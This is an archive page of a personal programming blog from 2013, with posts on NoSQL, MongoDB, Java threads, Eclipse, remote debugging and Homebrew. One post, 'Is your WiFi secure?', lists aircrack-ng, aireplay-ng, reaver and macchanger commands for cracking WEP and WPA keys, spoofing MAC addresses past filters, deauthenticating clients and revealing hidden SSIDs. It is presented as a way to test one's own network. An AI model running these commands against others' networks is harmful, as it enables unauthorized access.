4 December 2013

Introduction to NoSQL by Martin Fowler

Impedance Mismatch problem: O/R issues
SQL: does not work well with large clusters
Google: Bigtable
Amazon: Dynamo
=> NoSQL
Origin: a Twitter hashtag to advertise a single meeting #nosql

  • non-relational
  • open-source
  • cluster-friendly
  • schema-less
    • when you are getting a price from a row, you are utilizing schema, but when you don't have schema there is no guarantee data is there
  • 21st Century Web
Data Model:
  • 1 Aggregate-oriented
  • 1 Document (usually JSON, you could do it in XML as well)
    • there is an id, simillar to key in key value
  • 1 Key-Value
    • you can have metadata, and you can index them
  • 1 Column-Family
    • row key, column key 
different data on different cluster based on the aggregate 
aggregate = key
aggregate = document

changing aggregate is pain if you want to change the data and aggregate

    • Graph

    2 October 2013

    How to import your Music CDs to Google Play?

    Google Play won't allow you to directly import your Music CDs. However, iTunes let you. You can use iTunes to import your Music CDs into your iTunes library and then use Google Music Manager to upload iTunes library songs to the Google Music. There is even an option to upload all future songs from iTunes to your Google Music.

    What are the advantages? You are using Google and if you are an Android user, you can not have iTunes on your Android to listen to your songs. Also, you won't need to pay 24.99 for your songs to be hosted on a Cloud (i.e. iCloud).

    9 September 2013

    EasyMock Notes

    EasyMock utilize several methods to configure a Mock object. The expect() method tells EasyMock to simulate a method with certain arguments. The andReturn() method defines the return value of this method for the specified method parameters. The times() method defines how often the Mock object will be called.

    29 August 2013

    How to remove blogger footnote?

    If you would like to remove the "powered by blogger" at the bottom of your blog, you can simply achieve it utilizing the following code in the add CSS section of template designer:

    16 July 2013

    NoSQL - MongoDB

    Key / Valye (HashMap)
    Tabular (BigTable)
    Document Oriented

    no Joins
    no Complex Transactions
    no SQL

    databasse -> database
    table -> collection
    row -> document

    JSON style document (BSON on the mongoDB servers)

    no predefined schema
    table has schema
    collection does not have schema

    we do not need to pre-create the collection, first insertion will create the collection

    _id : timestamp+machine id+process id+counter

    $gt : greater than

    index ensureindex comments.author 1

    11 July 2013

    Simple Wait / Notify Thread Example

    This is a simple Wait / Notify example. I am utilizing an Object for synchronization purpose. You can synchronize on This or any other object. However, a dedicated object that you use only for synchronization will give you a better understanding of code and eases debugging.

    27 June 2013

    Simple Thread Example in Java

    This is a simple Thread example. I am utilizing Runnable interface to create Threads. In the main method it generates 5 threads, and start them. Each thread print out the simpleName set in the main method. Running this code, you will get basic idea of how threads are working.

    22 May 2013

    System.out.println trick in Eclipse

    Have you ever get tired of typing the whole System.out.println when coding in Java? If you are using Eclipse, there is really an easy way not to type the whole phrase. What you need to do is just type sysout and then press ctrl+space and leave the rest to Eclipse. Eclipse will automatically change it to System.out.println for you.

    sysout -> ctrl + space -> System.out.println

    27 March 2013

    Action Launcher Pro Andorid application review

    I wanted to try something new as a launcher for my Android, so I thought I will give Action Pro Launcher a try. I bought it a while ago and gave it a try, but at the end I went back to my previous launcher. The idea behind Action Launcher Pro is nice. Nevertheless, it has its drawbacks.
    One of the first claims by application is false. The claim is to import everything (almost everything) from other launchers. I had 9 pages full of widgets and shortcuts. After conversion, it has only imported shortcuts but no widgets at all (I understand that technically it might not be possible, but I was sold on importing everything). Another major issue that I had with Action Launcher Pro was the search bar / menu bar / setting bar at the top of the main page. You won't be able to remove it from your main page, it takes space and if you, like me, are used to utilizing that space, you have to forget about it.

    Double clicking an app was one of the most anticipated features I wanted to try. The feature is awesome in theory but when it comes to reality, it isn't that practical. I created some direct call shortcuts and add them on top of each other, making a folder and then make it a double tap folder. The problem was with double tapping, if you double tap not so fast, or if you do and your cell phone's screen is not that clean to recognize those taps, it considers them as one tap. In my case it would call someone I didn't want.

    Sidebar menu application was the only main feature that I liked without any complaints. You have all your applications in your sidebar, easily accessible. There is only one minor issue. If you are using a cover for your cell phone, it might be not that easy to use the sidebar.

    1 March 2013

    How to remotely debug your java application on a Linux/Mac?

    What you need

    • Eclipse
    • Tomcat
    • Terminal

    What you have to do

    Setting up environment

    First of all you have to add the following lines to your .bash_profile (or .bashrc? what do you think? in mac .bash_profile, in linux .bashrc)

    • export JPDA_ADDRESS=8000
    • export JPDA_TRANSPORT=dt_socket
    • (You can change the port 8000 to the port of your choice). 

    Debugging using remote

    Then, you have to add a new remote java application debug environment to your Eclipse environment. You can follow instructions here (Make sure to use the same port you have exported).
    The last step would be ro run Tomcat server with the jdpa start option, something like:

    • bin/catalina.sh jpda start

    Now, the only thing remains is to put a breakpoint in your application (in your java source code). When the code gets to the point that you have put breakpoint it will stop and will handle execution to the eclipse environment (not completely true though). Just make sure you have deployed the same application on the server that you are seeing its code.

    Note: JPDA stands for Java Platform Debugger Architecture

    12 February 2013

    Remote development vs. remote debugging

    Remote debugging (on a server)

    Remote debugging is not rocket science (unless you are debugging remotely on a spacecraft or something like that!). I am confident any experienced developer, who has worked with different application / container servers, is familiar with remote debugging and at least tried it once.
    Each developer might have his/her own definition of what exactly remote debugging is. What I mean by remote debugging on a server (which is a loosely used term here) is to debug the compiled code on the server.
    The steps to achieve this goal (for a Java based application) are as follow: a developer compiles and runs the source code on his/her local machine, while just runs the compiled code on the server (or another JVM). Then, by using breakpoints in source code on his/her own local machine he/she can step into the source code and debug it on the server. Remote debugging will map the compiled code to the source code on developer's local machine and he/she can control the debug process. You can find more about remote debugging in the following references:

    Remote development (on a server)

    It might sound similar to remote debugging but Remote development is a different story. Remote development might happen on a Java server (e.g. Tomcat, Apache or JBoss) or on an standalone JVM. A developer typically uses this technique to develop code on a better machine than his/hers, or for any other concern such as developing on a certified machine (for security reasons). Whatever the objective is, you can achieve your goal of remote debugging using Remote System Explorer in Eclipse. This plugin is built-in in eclipse if you get the latest JavaEE version of Eclipse (i.e. as of now Juno).

    16 January 2013

    Is your WiFi secure?

    Have you ever hesitated about your WiFi security? You must have thought your WiFi is secure, just because you chose a humongous password or a password with special characters in it, and you assume are safe.
    You are wrong. Even though you have secured your network, it might not be as secure as you imagine; no matter what your network encryption you are using WEP, WPA or WPA2. Anyone can easily follow the instructions below and crack your WiFi password.

    You need a special modem (more information here) and a BackTrack linux distribution (or just kismet for two last approaches) for this matter. I suggest, if you have time, to follow these instructions and find out if your wifi is secure or not. If at the end, you found the password for your network, your network is not secure as you thought. You'd better think of ways to secure your network.


    This is a short listed commands from lifehacker on how to crack your WEP wifi password.

    Change mac address (Stop/Change/Start)
    • airmon-ng stop wlan0
    • ifconfig wlan0 down
    • macchanger --mac 00:11:22:33:44:55 wlan0
    • airmon-ng start wlan0
    Look up networks
    • airodump-ng wlan0
    Capture information in a file
    • airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
    • aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
    • you must get Association Successful to continue
    Creating router traffic
    • aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
    • look for the data# the higher the better
    Crack the code
    • aircrack-ng -b (bssid) (file name-01.cap)
    • it gives you the key in double digit formats like 11:22:33:..


    These are instructions from lifehacker on how to crack your WPA/WPA2 wifi password. 

    Connect to a Network
    • Click Applications > Internet > Wicd Network Manager
    • Connect to a network, enter your password if necessary. This step is needed to download Reaver.
    Get Reaver
    • Open Terminal 
    • apt-get update 
    • apt-get install reaver 
    Find your interface
    • iwconfig
    Change mac address
    • airmon-ng stop wlan0
    • ifconfig wlan0 down
    • macchanger --mac 00:11:22:33:44:55 wlan0
    • airmon-ng start wlan0
    Start Interface
    • airmon-ng start wlan0 
    Look up networks
    • airodump-ng wlan0 
    Crack the code
    • reaver -i mon0 -b (bssid) -vv 

    MAC filtering/Whitelist MAC filtering

    SSID Hiding / MAC filtering

    These are summary for instructions on Synjunkie.

    Find WiFi setting
    • kismet
    Join networt
    • iwconfig eth1 essid batman
    Obtain an IP address
    • dhclient eth1
    • (if failed there is MAC filtering, if not you joined the network at this point)
    Look for valid MAC address
    • kismet
    Force MAC address to disconnect
    • aireplay-ng to force a disconnection
    Turning off promiscuous mode
    • ifconfig eth1 -promisc
    Change MAC address
    • ifconfig eth1 down
    • ifconfig eth1 hw ether 00:16:6F:4D:AE:8C
    • ifconfig eth1 up
    • iwconfig eth1 essid batman
    Request an IP address
    • dhclient eth1

    • ping www.yahoo.com

    SSID Hiding

    Get list of network
    • airodump-ng wlan1
    • airodump-ng -c 6 --bssid 28:EF:01:35:34:85 wlan1
    • aireplay-ng -0 30 -a  28:EF:01:35:34:85 -c 28:EF:01:23:45:67 wlan1
    SSID revealed
    • If it does not work the first time try aireplay-ng again until it works. 

    10 January 2013

    How to change Php default session directory

    What you need?

    • Apache Server 
    • Php module enabled on Apache server
    Why you need this?
     If there is Php module enabled on your machine but you don't have right permission on the default directory that Php uses for writing session information, you need to change it so that Php works normal.

    What you have to do?
    There are more than one way to change Php session directory. I am going to introduce one way. In your Apache webroot directory add a file called .htaccess with the following in it:
    php_value session.save_path '/home/user1/tmp' (you should change the path to your own desired one) 
    How to test if Php is enabled?
    Create a file called phpinfo.php and have the following in it:

    <?php phpinfo(); ?>

    Navigating to that file (e.g. localhost/phpinfo.php). Apache should bring you information about your php installation like below. Navigate to the session section and you can see if the session path for your Php has been changed or not.

    3 January 2013

    Homebrew / MacPorts

    Using Mac is not something extra ordinary, everyone is using it nowadays. I find small nice perks in it every now and then which I like to share it with you. This one is about MacPorts and Homebrew.

    If you are a programmer, developer, software engineer or simply a code guru, you can find number of applications to enhance your coding experience in Mac. As you know Mac OS is a *nix based platform, you have both Mac specific apps as well as linux/unix compatible apps on it.
    One major kind of applications that you might find advantageous is package dependency resolution / installation with one click. MacPorts and Homebrew are not exactly just that (i.e. one click installation) but they are huge help on installing packages on your Mac. I have tried both and this is what I have found.

    I have tried the following commands to install Homebrew.

    • ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)" 
    • ruby <(curl -fsSkL raw.github.com/mxcl/homebrew/go) 

    it didn't work for me. Then I head to "Trouble installing Mac Homebrew". Following these steps I was able to install Homebrew:

    • cd /usr/local/bin mkdir homebrew 
    • && curl -L https://github.com/mxcl/homebrew/tarball/master | tar xz --strip 1 -C 
    Then I have to update and doctor Homebrew in order to install my package, using the following commands:

    • ./brew update 
    • ./brew doctor 

    Then I have added Homebrew to path,  restart it.I then, have to create links to java Extensions manually as follow (specific to the package I wanted to install):

    • sudo mkdir -p /Library/Java/Extensions/ 
    • sudo ln -s /usr/local/homebrew/lib/libsvnjavahl-1.dylib /Library/Java/Extensions/libsvnjavahl-1.dylib
    restarting Eclipse, the package I intended to install did work. It was a subclipse package for Mac.

    I tried installing the package initially using Macports but it didn't work. I couldn't find any resource on how to troubleshoot it, either I was lazy or I had to search more. Nevertheless, I have reached my goal of installing the package using Homebrew much simpler than using Macports can say much simpler I have reached my goal of installing package with Homebrew.